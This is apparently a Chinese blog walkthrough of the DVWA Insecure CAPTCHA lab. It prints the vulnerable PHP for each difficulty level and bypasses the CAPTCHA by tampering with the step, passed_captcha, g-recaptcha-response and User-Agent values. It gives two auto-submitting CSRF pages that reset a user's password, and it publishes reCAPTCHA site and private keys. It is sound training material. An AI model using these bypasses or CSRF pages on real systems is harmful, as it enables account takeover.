【DVWA全攻略】DVWA Insecure CAPTCHA实验

DVWA Insecure CAPTCHA实验

image.png

Google recaptcha申请

申请地址https://www.google.com/recaptcha/admin

申请时,因为需要在本地测试所以需要按需填写你的本机IP地址

image.png
image.png

然后将相应的网站密钥和密钥填入到config/config.inc.php中

我新增加了localhost127.0.0.1的域名支持,如果你懒得申请也可以直接使用下面的配置

$_DVWA[ 'recaptcha_public_key' ]  = '6LcWNpMaAAAAAJqJcQ7Eea_y_Hh4DpoM-ieBw8ED';
 $_DVWA[ 'recaptcha_private_key' ] = '6LcWNpMaAAAAAAwdvSB8szoR-oNW-ZBnpZVFUIlV';

Linux配置VPN

Low难度

代码分析

<?php
 ​
 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
     // Hide the CAPTCHA form
     $hide_form = true;
     // Get input
     $pass_new  = $_POST[ 'password_new' ];
     $pass_conf = $_POST[ 'password_conf' ];
 ​
     // Check CAPTCHA from 3rd party
     $resp = recaptcha_check_answer(
         $_DVWA[ 'recaptcha_private_key'],
         $_POST['g-recaptcha-response']
     );
 ​
     // Did the CAPTCHA fail?
 ​
     if( !$resp ) {
         // What happens when the CAPTCHA was entered incorrectly
         $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
         $hide_form = false;
         return;
     }
 ​
     else {
         // CAPTCHA was correct. Do both new passwords match?
         if( $pass_new == $pass_conf ) {
             // Show next stage for the user
             $html .= "
                 <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                 <form action=\"#\" method=\"POST\">
                     <input type=\"hidden\" name=\"step\" value=\"2\" />
                     <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                     <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                     <input type=\"submit\" name=\"Change\" value=\"Change\" />
                 </form>";
         }
         else {
 ​
             // Both new passwords do not match.
             $html     .= "<pre>Both passwords must match.</pre>";
             $hide_form = false;
         }
     }
 }
 ​
 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
     // Hide the CAPTCHA form
     $hide_form = true;
 ​
     // Get input
     $pass_new  = $_POST[ 'password_new' ];
     $pass_conf = $_POST[ 'password_conf' ];
 ​
     // Check to see if both password match
     if( $pass_new == $pass_conf ) {
     // They do!
     $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     
     $pass_new = md5( $pass_new );
         // Update database
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
         // Feedback for the end user
         $html .= "<pre>Password Changed.</pre>";
     }
     else {
         // Issue with the passwords matching
         $html .= "<pre>Passwords did not match.</pre>";
         $hide_form = false;
     }
     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
 ​
 }
 ​
 ?>

通过上述代码分析,可以看到存在严重的业务逻辑漏洞,可以直接通过step=1step=2来判断业务进行的阶段。漏洞的利用可以修改抓包绕过第一步。

实验过程

开启抓包的拦截功能,输入新的密码newpassword,不理会验证码直接提交

image.png

step=1修改为step=2尝试绕过

image.png

然后将包发出,可以看到密码修改成功了

image.png

漏洞的利用

可以尝试通过csrf漏洞,构造攻击页面尝试修改用户的密码

<html>
 ​
 <body onload="document.getElementById('transfer').submit()">
 ​
   <div>
     <form method="POST" id="transfer" action="http://192.168.47.129/dvwa/vulnerabilities/captcha/">
 ​
 <input type="hidden" name="password_new" value="password">
 ​
 <input type="hidden" name="password_conf" value="password">
 ​
 <input type="hidden" name="step" value="2"
 ​
 <input type="hidden" name="Change" value="Change">
 ​
 </form>
 ​
   </div>
 ​
 </body>
 ​
 </html>

Medium难度

代码分析

<?php
 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
     // Hide the CAPTCHA form
     $hide_form = true;
 ​
     // Get input
     $pass_new  = $_POST[ 'password_new' ];
     $pass_conf = $_POST[ 'password_conf' ];
 ​
     // Check CAPTCHA from 3rd party
     $resp = recaptcha_check_answer(
         $_DVWA[ 'recaptcha_private_key' ],
         $_POST['g-recaptcha-response']
     );
     // Did the CAPTCHA fail?
     if( !$resp ) {
         // What happens when the CAPTCHA was entered incorrectly
         $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
         $hide_form = false;
         return;
     }
     else {
         // CAPTCHA was correct. Do both new passwords match?
         if( $pass_new == $pass_conf ) {
             // Show next stage for the user
             $html .= "
                 <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                 <form action=\"#\" method=\"POST\">
                     <input type=\"hidden\" name=\"step\" value=\"2\" />
                     <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                     <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                     <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                     <input type=\"submit\" name=\"Change\" value=\"Change\" />
                 </form>";
         }
         else {
 ​
             // Both new passwords do not match.
             $html     .= "<pre>Both passwords ust match.</pre>";
             $hide_form = false;
         }
     }
 }
 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
     // Hide the CAPTCHA form
     $hide_form = true;
     // Get input
     $pass_new  = $_POST[ 'password_new' ];
     $pass_conf = $_POST[ 'password_conf' ];
     // Check to see if they did stage 1
     if( !$_POST[ 'passed_captcha' ] ) {
         $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
         $hide_form = false;
         return;
     }
 ​
     // Check to see if both password match
     if( $pass_new == $pass_conf ) {
         // They do!
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 ​
         $pass_new = md5( $pass_new );
         // Update database
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
         // Feedback for the end user
         $html .= "<pre>Password Changed.</pre>";
     }
 ​
     else {
         // Issue with the passwords matching
         $html .= "<pre>Passwords did not match.</pre>";
         $hide_form = false;
     }
     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
 }
 ?>

上述代码在相比Low难度的代码,增加了passed_captcha参数,对验证码是否正确做了一个判断,如果passed_captcha的值为true,则代表用户输入了正确的验证。我们可以尝试通过修改该参数值尝试绕过,本质上与Low难度没有太大区别。

实验过程

step的值修改为2,在末尾增加&passed_captcha=true

image.png

然后放包,提示修改成功

image.png

漏洞的利用

可以继续构造CSRF漏洞攻击

相比Low难度的代码,增加了

<input type="hidden" name="passed_captcha" value="true">

具体代码如下

<html>
 ​
 <body onload="document.getElementById('transfer').submit()">
 ​
   <div>
 ​
     <form method="POST" id="transfer" action="http://192.168.47.129/dvwa/vulnerabilities/captcha/">
 ​
 <input type="hidden" name="password_new" value="password">
 ​
 <input type="hidden" name="password_conf" value="password">
 ​
 <input type="hidden" name="passed_captcha" value="true">
 ​
 <input type="hidden" name="step" value="2">
 ​
 <input type="hidden" name="Change" value="Change">
 ​
 </form>
 ​
   </div>
 ​
 </body>
 ​
 </html>

High难度

代码分析

<?php
 if( isset( $_POST[ 'Change' ] ) ) {
     // Hide the CAPTCHA form
     $hide_form = true;
 ​
     // Get input
     $pass_new  = $_POST[ 'password_new' ];
     $pass_conf = $_POST[ 'password_conf' ];
 ​
     // Check CAPTCHA from 3rd party
     $resp = recaptcha_check_answer(
         $_DVWA[ 'recaptcha_private_key' ],
         $_POST['g-recaptcha-response']
     );
 ​
     if (
         $resp || 
         (
             $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
             && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
         )
     ){
         // CAPTCHA was correct. Do both new passwords match?
         if ($pass_new == $pass_conf) {
 ​
             $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
             $pass_new = md5( $pass_new );
 ​
             // Update database
             $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
             $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 ​
             // Feedback for user
             $html .= "<pre>Password Changed.</pre>";
         } else {
             // Ops. Password mismatch
             $html     .= "<pre>Both passwords must match.</pre>";
             $hide_form = false;
         }
     } else {
 ​
         // What happens when the CAPTCHA was entered incorrectly
         $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
         $hide_form = false;
         return;
     }
 ​
     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
 ​
 }
 ​
 // Generate Anti-CSRF token
 generateSessionToken();
 ?>

分析上述代码,业务逻辑

去除了step步骤的判断

$resp的值为false,

  • 参数recaptcha_response_field不等于hidd3n_valu3
  • 或者Http请求头的User-Agent不等于reCAPTCHA时

就认为验证码输入错误

相反,则认为验证码输入正确。因此,我们可以尝试在这上面做文章。

实验过程

抓包

image.png

在抓包的相应参数中增加

  • User-Agent为reCAPTCHA
  • g-recaptcha-response=hidd3n_valu3

修改完成后,放包

image.png

密码修改成功

image.png

Impossible难度

代码分析

<?php
 ​
 if( isset( $_POST[ 'Change' ] ) ) {
     // Check Anti-CSRF token
     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 ​
     // Hide the CAPTCHA form
     $hide_form = true;
 ​
     // Get input
     $pass_new  = $_POST[ 'password_new' ];
     $pass_new  = stripslashes( $pass_new );
     $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     $pass_new  = md5( $pass_new );
 ​
     $pass_conf = $_POST[ 'password_conf' ];
     $pass_conf = stripslashes( $pass_conf );
     $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     $pass_conf = md5( $pass_conf );
 ​
     $pass_curr = $_POST[ 'password_current' ];
     $pass_curr = stripslashes( $pass_curr );
     $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     $pass_curr = md5( $pass_curr );
 ​
     // Check CAPTCHA from 3rd party
     $resp = recaptcha_check_answer(
         $_DVWA[ 'recaptcha_private_key' ],
         $_POST['g-recaptcha-response']
     );
 ​
     // Did the CAPTCHA fail?
     if( !$resp ) {
         // What happens when the CAPTCHA was entered incorrectly
         $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
         $hide_form = false;
     }
     else {
 ​
         // Check that the current password is correct
         $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
         $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
         $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
         $data->execute();
 ​
         // Do both new password match and was the current password correct?
         if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
             // Update the database
             $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
             $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
             $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
             $data->execute();
 ​
 ​
             // Feedback for the end user - success!
             $html .= "<pre>Password Changed.</pre>";
         }
         else {
             // Feedback for the end user - failed!
             $html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
             $hide_form = false;
         }
     }
 }
 ​
 // Generate Anti-CSRF token
 generateSessionToken();
 ?>

增加了CSRF的校验,并且单独写了谷歌验证码校验功能,逻辑更加完整了,理论上更加安全了

© 版权声明
THE END
喜欢就支持一下吧
点赞31赞赏
分享
评论 抢沙发

请登录后发表评论